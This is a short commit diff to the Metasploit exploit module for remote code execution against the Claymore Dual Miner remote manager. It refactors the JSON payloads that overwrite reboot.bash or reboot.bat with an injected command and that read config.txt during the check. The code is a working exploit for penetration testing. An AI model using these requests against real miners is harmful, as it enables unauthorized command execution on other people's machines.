refactor: use Hash.to_json instead of strings

modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb

@@ -68,9 +68,19 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     case target['Platform']
     when 'linux'
-      upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bash\", \"#{cmd}\"]}"
+      upload = {
+        "id"      => 0,
+        "jsonrpc" => '2.0',
+        "method"  => 'miner_file',
+        "params"  => ['reboot.bash', "#{cmd}"]
+      }.to_json
     when 'windows'
-      upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}"
+      upload = {
+        "id"      => 0,
+        "jsonrpc" => '2.0',
+        "method"  => 'miner_file',
+        "params"  => ['reboot.bat', "#{cmd}"]
+      }.to_json
     end
     begin
       connect
@@ -105,7 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def check
-    data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}'
+    data = {
+      "id"      => 0,
+      "jsonrpc" => '2.0',
+      "method"  => 'miner_getfile',
+      "params"  => ['config.txt']
+    }.to_json
     connect
     sock.put(data)
     buf = sock.get_once || ''